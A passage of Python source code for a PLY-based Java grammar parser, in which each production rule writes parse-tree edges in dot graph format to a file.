(p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n# def p_Result(p):\n# '''Result : Type\n# | VOID'''\n# global Result_counter\n# p[0] = \"Result_{%d}\" % (Result_counter)\n# Result_counter+=1\n# for i in range(1, len(p)):\n# if (p[i] is not None):\n# if (p[i].lower() in keywords.keys()):\n# f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n# else:\n# f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_MethodDeclarator(p):\n '''MethodDeclarator : Identifier LPAREN FormalParameterList RPAREN Dims\n | Identifier LPAREN FormalParameterList RPAREN\n | Identifier LPAREN RPAREN Dims\n | Identifier LPAREN RPAREN'''\n global MethodDeclarator_counter\n p[0] = \"MethodDeclarator_{%d}\" % (MethodDeclarator_counter)\n MethodDeclarator_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_FormalParameterList(p):\n '''FormalParameterList : ReceiverParameter\n | FormalParameters\n | FormalParameters COMMA Identifier\n | LastFormalParameter '''\n global FormalParameterList_counter\n p[0] = \"FormalParameterList_{%d}\" % (FormalParameterList_counter)\n FormalParameterList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_FormalParameters(p):\n '''FormalParameters : FormalParameter1\n | FormalParameter2 '''\n global FormalParameters_counter\n p[0] = \"FormalParameters_{%d}\" % (FormalParameters_counter)\n FormalParameters_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_FormalParameter1(p):\n '''FormalParameter1 : FormalParameter COMMA FormalParameter1\n | FormalParameter\n | LastFormalParameter '''\n global FormalParameter1_counter\n p[0] = \"FormalParameter1_{%d}\" % (FormalParameter1_counter)\n FormalParameter1_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_FormalParameter2(p):\n '''FormalParameter2 : FormalParameter COMMA FormalParameter2\n | FormalParameter\n | LastFormalParameter'''\n global FormalParameter2_counter\n p[0] = \"FormalParameter2_{%d}\" % (FormalParameter2_counter)\n FormalParameter2_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_FormalParameter(p):\n '''FormalParameter : ModifierList Type VariableDeclaratorId\n | ModifierList Type Identifier \n | Type VariableDeclaratorId\n | Type Identifier\n | ModifierList Identifier VariableDeclaratorId\n | ModifierList Identifier Identifier \n | Identifier VariableDeclaratorId\n | Identifier Identifier '''\n global FormalParameter_counter\n p[0] = \"FormalParameter_{%d}\" % (FormalParameter_counter)\n FormalParameter_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_LastFormalParameter(p):\n '''LastFormalParameter : ModifierList Type MultAnnotation ELLIPSIS VariableDeclaratorId\n | ModifierList Type ELLIPSIS VariableDeclaratorId\n | ModifierList Type MultAnnotation ELLIPSIS Identifier\n | ModifierList Type ELLIPSIS Identifier \n | Type MultAnnotation ELLIPSIS VariableDeclaratorId\n | Type ELLIPSIS VariableDeclaratorId\n | Type MultAnnotation ELLIPSIS Identifier\n | Type ELLIPSIS Identifier \n | ModifierList Identifier MultAnnotation ELLIPSIS VariableDeclaratorId\n | ModifierList Identifier ELLIPSIS VariableDeclaratorId\n | ModifierList Identifier MultAnnotation ELLIPSIS Identifier\n | ModifierList Identifier ELLIPSIS Identifier \n | Identifier MultAnnotation ELLIPSIS VariableDeclaratorId\n | Identifier ELLIPSIS VariableDeclaratorId\n | Identifier MultAnnotation ELLIPSIS Identifier\n | Identifier ELLIPSIS Identifier\n '''\n global LastFormalParameter_counter\n p[0] = \"LastFormalParameter_{%d}\" % (LastFormalParameter_counter)\n LastFormalParameter_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_ReceiverParameter(p):\n '''ReceiverParameter : MultAnnotation Type Identifier DOT THIS\n | MultAnnotation Type THIS\n | Type Identifier DOT THIS\n | Type THIS\n | MultAnnotation Identifier Identifier DOT THIS\n | MultAnnotation Identifier THIS\n | Identifier Identifier DOT THIS\n | Identifier THIS'''\n global ReceiverParameter_counter\n p[0] = \"ReceiverParameter_{%d}\" % (ReceiverParameter_counter)\n ReceiverParameter_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_Throws(p):\n '''Throws : THROWS ExceptionTypeList\n | THROWS Identifier'''\n global Throws_counter\n p[0] = \"Throws_{%d}\" % (Throws_counter)\n Throws_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ExceptionTypeList(p):\n '''ExceptionTypeList : ExceptionType COMMA ExceptionTypeList\n | Identifier COMMA ExceptionTypeList\n | Identifier COMMA Identifier\n | ExceptionType '''\n global ExceptionTypeList_counter\n p[0] = \"ExceptionTypeList_{%d}\" % (ExceptionTypeList_counter)\n ExceptionTypeList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ExceptionType(p):\n '''ExceptionType : ClassType'''\n global ExceptionType_counter\n p[0] = \"ExceptionType_{%d}\" % (ExceptionType_counter)\n ExceptionType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_MethodBody(p):\n '''MethodBody : Block\n | SEMICOLON'''\n global MethodBody_counter\n p[0] = \"MethodBody_{%d}\" % (MethodBody_counter)\n MethodBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_InstanceInitializer(p):\n '''InstanceInitializer : Block'''\n global InstanceInitializer_counter\n p[0] = \"InstanceInitializer_{%d}\" % (InstanceInitializer_counter)\n InstanceInitializer_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_StaticInitializer(p):\n '''StaticInitializer : STATIC Block'''\n global StaticInitializer_counter\n p[0] = \"StaticInitializer_{%d}\" % (StaticInitializer_counter)\n StaticInitializer_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_ConstructorDeclaration(p):\n '''ConstructorDeclaration : ModifierList MethodDeclarator Throws ConstructorBody\n | MethodDeclarator Throws ConstructorBody\n | ModifierList MethodDeclarator ConstructorBody\n | MethodDeclarator ConstructorBody'''\n global ConstructorDeclaration_counter\n p[0] = \"ConstructorDeclaration_{%d}\" % (ConstructorDeclaration_counter)\n ConstructorDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ConstructorBody(p):\n '''ConstructorBody : LBRACES ExplicitConstructorInvocation BlockStatements RBRACES\n | LBRACES ExplicitConstructorInvocation RBRACES\n | LBRACES BlockStatements RBRACES\n | LBRACES RBRACES '''\n global ConstructorBody_counter\n p[0] = \"ConstructorBody_{%d}\" % (ConstructorBody_counter)\n ConstructorBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ExplicitConstructorInvocation(p):\n '''ExplicitConstructorInvocation : TypeArguments THIS LPAREN ArgumentList RPAREN SEMICOLON\n | TypeArguments THIS LPAREN RPAREN SEMICOLON\n | THIS LPAREN ArgumentList RPAREN SEMICOLON\n | THIS LPAREN RPAREN SEMICOLON\n | TypeArguments SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | TypeArguments SUPER LPAREN RPAREN SEMICOLON\n | SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | SUPER LPAREN RPAREN SEMICOLON\n | TypeName DOT TypeArguments SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | TypeName DOT TypeArguments SUPER LPAREN RPAREN SEMICOLON\n | TypeName DOT SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | TypeName DOT SUPER LPAREN RPAREN SEMICOLON\n | Identifier DOT TypeArguments SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | Identifier DOT TypeArguments SUPER LPAREN RPAREN SEMICOLON\n | Identifier DOT SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | Identifier DOT SUPER LPAREN RPAREN SEMICOLON\n | Primary DOT TypeArguments SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | Primary DOT TypeArguments SUPER LPAREN RPAREN SEMICOLON\n | Primary DOT SUPER LPAREN ArgumentList RPAREN SEMICOLON\n | Primary DOT SUPER LPAREN RPAREN SEMICOLON '''\n global ExplicitConstructorInvocation_counter\n p[0] = \"ExplicitConstructorInvocation_{%d}\" % (ExplicitConstructorInvocation_counter)\n ExplicitConstructorInvocation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumDeclaration(p):\n '''EnumDeclaration : ModifierList ENUM Identifier Superinterfaces EnumBody\n | ModifierList ENUM Identifier EnumBody\n | ENUM Identifier Superinterfaces EnumBody\n | ENUM Identifier EnumBody'''\n global EnumDeclaration_counter\n p[0] = \"EnumDeclaration_{%d}\" % (EnumDeclaration_counter)\n EnumDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumBody(p):\n '''EnumBody : LBRACES EnumConstantList COMMA EnumBodyDeclarations RBRACES\n | LBRACES EnumConstantList COMMA RBRACES\n | LBRACES EnumConstantList EnumBodyDeclarations RBRACES\n | LBRACES Identifier COMMA EnumBodyDeclarations RBRACES\n | LBRACES Identifier COMMA RBRACES\n | LBRACES Identifier EnumBodyDeclarations RBRACES\n | LBRACES COMMA EnumBodyDeclarations RBRACES\n | LBRACES EnumBodyDeclarations RBRACES\n | LBRACES EnumConstantList RBRACES\n | LBRACES Identifier RBRACES\n | LBRACES COMMA RBRACES\n | LBRACES RBRACES '''\n global EnumBody_counter\n p[0] = \"EnumBody_{%d}\" % (EnumBody_counter)\n EnumBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumConstantList(p):\n '''EnumConstantList : EnumConstant COMMA EnumConstantList\n | Identifier COMMA EnumConstantList\n | Identifier COMMA Identifier\n | EnumConstant'''\n global EnumConstantList_counter\n p[0] = \"EnumConstantList_{%d}\" % (EnumConstantList_counter)\n EnumConstantList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumConstant(p):\n '''EnumConstant : MultEnumConstantModifier Identifier LPAREN ArgumentList RPAREN ClassBody\n | MultEnumConstantModifier Identifier LPAREN ArgumentList RPAREN\n | MultEnumConstantModifier Identifier LPAREN RPAREN ClassBody\n | Identifier LPAREN ArgumentList RPAREN ClassBody\n | Identifier LPAREN RPAREN ClassBody\n | Identifier LPAREN ArgumentList RPAREN\n | MultEnumConstantModifier Identifier LPAREN RPAREN\n | Identifier LPAREN RPAREN\n | MultEnumConstantModifier Identifier ClassBody\n | MultEnumConstantModifier Identifier\n | Identifier ClassBody\n '''\n global EnumConstant_counter\n p[0] = \"EnumConstant_{%d}\" % (EnumConstant_counter)\n EnumConstant_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultEnumConstantModifier(p):\n '''MultEnumConstantModifier : EnumConstantModifier MultEnumConstantModifier\n | EnumConstantModifier'''\n global MultEnumConstantModifier_counter\n p[0] = \"MultEnumConstantModifier_{%d}\" % (MultEnumConstantModifier_counter)\n MultEnumConstantModifier_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumConstantModifier(p):\n '''EnumConstantModifier : Annotation'''\n global EnumConstantModifier_counter\n p[0] = \"EnumConstantModifier_{%d}\" % (EnumConstantModifier_counter)\n EnumConstantModifier_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EnumBodyDeclarations(p):\n '''EnumBodyDeclarations : SEMICOLON MultClassBodyDeclaration\n | SEMICOLON '''\n global EnumBodyDeclarations_counter\n p[0] = \"EnumBodyDeclarations_{%d}\" % (EnumBodyDeclarations_counter)\n EnumBodyDeclarations_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_InterfaceDeclaration(p):\n '''InterfaceDeclaration : NormalInterfaceDeclaration\n | AnnotationTypeDeclaration'''\n global InterfaceDeclaration_counter\n p[0] = \"InterfaceDeclaration_{%d}\" % (InterfaceDeclaration_counter)\n InterfaceDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_NormalInterfaceDeclaration(p):\n '''NormalInterfaceDeclaration : ModifierList INTERFACE Identifier TypeParameters ExtendsInterfaces InterfaceBody\n | ModifierList INTERFACE Identifier ExtendsInterfaces InterfaceBody\n | ModifierList INTERFACE Identifier TypeParameters InterfaceBody\n | ModifierList INTERFACE Identifier InterfaceBody\n | INTERFACE Identifier TypeParameters ExtendsInterfaces InterfaceBody\n | INTERFACE Identifier ExtendsInterfaces InterfaceBody\n | INTERFACE Identifier TypeParameters InterfaceBody\n | INTERFACE Identifier InterfaceBody'''\n global NormalInterfaceDeclaration_counter\n p[0] = \"NormalInterfaceDeclaration_{%d}\" % (NormalInterfaceDeclaration_counter)\n NormalInterfaceDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_ExtendsInterfaces(p):\n '''ExtendsInterfaces : EXTENDS InterfaceTypeList '''\n global ExtendsInterfaces_counter\n p[0] = \"ExtendsInterfaces_{%d}\" % (ExtendsInterfaces_counter)\n ExtendsInterfaces_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_InterfaceBody(p):\n '''InterfaceBody : LBRACES MultInterfaceMemberDeclaration RBRACES\n | LBRACES RBRACES'''\n global InterfaceBody_counter\n p[0] = \"InterfaceBody_{%d}\" % (InterfaceBody_counter)\n InterfaceBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_InterfaceMemberDeclaration(p):\n '''InterfaceMemberDeclaration : ConstantDeclaration\n | InterfaceMethodDeclaration\n | ClassDeclaration\n | InterfaceDeclaration\n | SEMICOLON'''\n global InterfaceMemberDeclaration_counter\n p[0] = \"InterfaceMemberDeclaration_{%d}\" % (InterfaceMemberDeclaration_counter)\n InterfaceMemberDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultInterfaceMemberDeclaration(p):\n '''MultInterfaceMemberDeclaration : InterfaceMemberDeclaration MultInterfaceMemberDeclaration\n | InterfaceMemberDeclaration'''\n global MultInterfaceMemberDeclaration_counter\n p[0] = \"MultInterfaceMemberDeclaration_{%d}\" % (MultInterfaceMemberDeclaration_counter)\n MultInterfaceMemberDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_ConstantDeclaration(p):\n '''ConstantDeclaration : ModifierList Type VariableDeclaratorList SEMICOLON\n | ModifierList Type Identifier SEMICOLON\n | Type VariableDeclaratorList SEMICOLON\n | Type Identifier SEMICOLON\n | ModifierList Identifier VariableDeclaratorList SEMICOLON\n | ModifierList Identifier Identifier SEMICOLON\n | Identifier VariableDeclaratorList SEMICOLON\n | Identifier Identifier SEMICOLON'''\n global ConstantDeclaration_counter\n p[0] = \"ConstantDeclaration_{%d}\" % (ConstantDeclaration_counter)\n ConstantDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_InterfaceMethodDeclaration(p):\n '''InterfaceMethodDeclaration : ModifierList MethodHeader MethodBody\n | MethodHeader MethodBody'''\n global InterfaceMethodDeclaration_counter\n p[0] = \"InterfaceMethodDeclaration_{%d}\" % (InterfaceMethodDeclaration_counter)\n InterfaceMethodDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_AnnotationTypeDeclaration(p):\n '''AnnotationTypeDeclaration : ModifierList AT INTERFACE Identifier AnnotationTypeBody\n | AT INTERFACE Identifier AnnotationTypeBody'''\n global AnnotationTypeDeclaration_counter\n p[0] = \"AnnotationTypeDeclaration_{%d}\" % (AnnotationTypeDeclaration_counter)\n AnnotationTypeDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_AnnotationTypeBody(p):\n '''AnnotationTypeBody : LBRACES MultAnnotationTypeMemberDeclaration RBRACES\n | LBRACES RBRACES'''\n global AnnotationTypeBody_counter\n p[0] = \"AnnotationTypeBody_{%d}\" % (AnnotationTypeBody_counter)\n AnnotationTypeBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultAnnotationTypeMemberDeclaration(p):\n '''MultAnnotationTypeMemberDeclaration : AnnotationTypeMemberDeclaration MultAnnotationTypeMemberDeclaration\n | AnnotationTypeMemberDeclaration'''\n global MultAnnotationTypeMemberDeclaration_counter\n p[0] = \"MultAnnotationTypeMemberDeclaration_{%d}\" % (MultAnnotationTypeMemberDeclaration_counter)\n MultAnnotationTypeMemberDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_AnnotationTypeMemberDeclaration(p):\n '''AnnotationTypeMemberDeclaration : AnnotationTypeElementDeclaration\n | ConstantDeclaration\n | ClassDeclaration\n | InterfaceDeclaration\n | SEMICOLON '''\n global AnnotationTypeMemberDeclaration_counter\n p[0] = \"AnnotationTypeMemberDeclaration_{%d}\" % (AnnotationTypeMemberDeclaration_counter)\n AnnotationTypeMemberDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_AnnotationTypeElementDeclaration(p):\n '''AnnotationTypeElementDeclaration : MultAnnotationTypeElementModifier Type Identifier LPAREN RPAREN Dims DefaultValue SEMICOLON\n | Type Identifier LPAREN RPAREN Dims DefaultValue SEMICOLON\n | MultAnnotationTypeElementModifier Type Identifier LPAREN RPAREN DefaultValue SEMICOLON\n | MultAnnotationTypeElementModifier Type Identifier LPAREN RPAREN Dims SEMICOLON\n | MultAnnotationTypeElementModifier Type Identifier LPAREN RPAREN SEMICOLON\n | Type Identifier LPAREN RPAREN DefaultValue SEMICOLON\n | Type Identifier LPAREN RPAREN Dims SEMICOLON\n | Type Identifier LPAREN RPAREN SEMICOLON \n | MultAnnotationTypeElementModifier Identifier Identifier LPAREN RPAREN Dims DefaultValue SEMICOLON\n | Identifier Identifier LPAREN RPAREN Dims DefaultValue SEMICOLON\n | MultAnnotationTypeElementModifier Identifier Identifier LPAREN RPAREN DefaultValue SEMICOLON\n | MultAnnotationTypeElementModifier Identifier Identifier LPAREN RPAREN Dims SEMICOLON\n | MultAnnotationTypeElementModifier Identifier Identifier LPAREN RPAREN SEMICOLON\n | Identifier Identifier LPAREN RPAREN DefaultValue SEMICOLON\n | Identifier Identifier LPAREN RPAREN Dims SEMICOLON\n | Identifier Identifier LPAREN RPAREN SEMICOLON '''\n global AnnotationTypeElementDeclaration_counter\n p[0] = \"AnnotationTypeElementDeclaration_{%d}\" % (AnnotationTypeElementDeclaration_counter)\n AnnotationTypeElementDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultAnnotationTypeElementModifier(p):\n '''MultAnnotationTypeElementModifier : ModifierList '''\n global MultAnnotationTypeElementModifier_counter\n p[0] = \"MultAnnotationTypeElementModifier_{%d}\" % (MultAnnotationTypeElementModifier_counter)\n MultAnnotationTypeElementModifier_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_DefaultValue(p):\n '''DefaultValue : DEFAULT ElementValue'''\n global DefaultValue_counter\n p[0] = \"DefaultValue_{%d}\" % (DefaultValue_counter)\n DefaultValue_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_Annotation(p):\n '''Annotation : NormalAnnotation\n | MarkerAnnotation\n | SingleElementAnnotation'''\n global Annotation_counter\n p[0] = \"Annotation_{%d}\" % (Annotation_counter)\n Annotation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_NormalAnnotation(p):\n '''NormalAnnotation : AT TypeName LPAREN ElementValuePairList RPAREN \n | AT Identifier LPAREN ElementValuePairList RPAREN \n | AT TypeName LPAREN RPAREN \n | AT Identifier LPAREN RPAREN '''\n global NormalAnnotation_counter\n p[0] = \"NormalAnnotation_{%d}\" % (NormalAnnotation_counter)\n NormalAnnotation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ElementValuePairList(p):\n '''ElementValuePairList : ElementValuePairList COMMA ElementValuePair\n | ElementValuePair\n '''\n global ElementValuePairList_counter\n p[0] = \"ElementValuePairList_{%d}\" % (ElementValuePairList_counter)\n ElementValuePairList_counter+=1\n 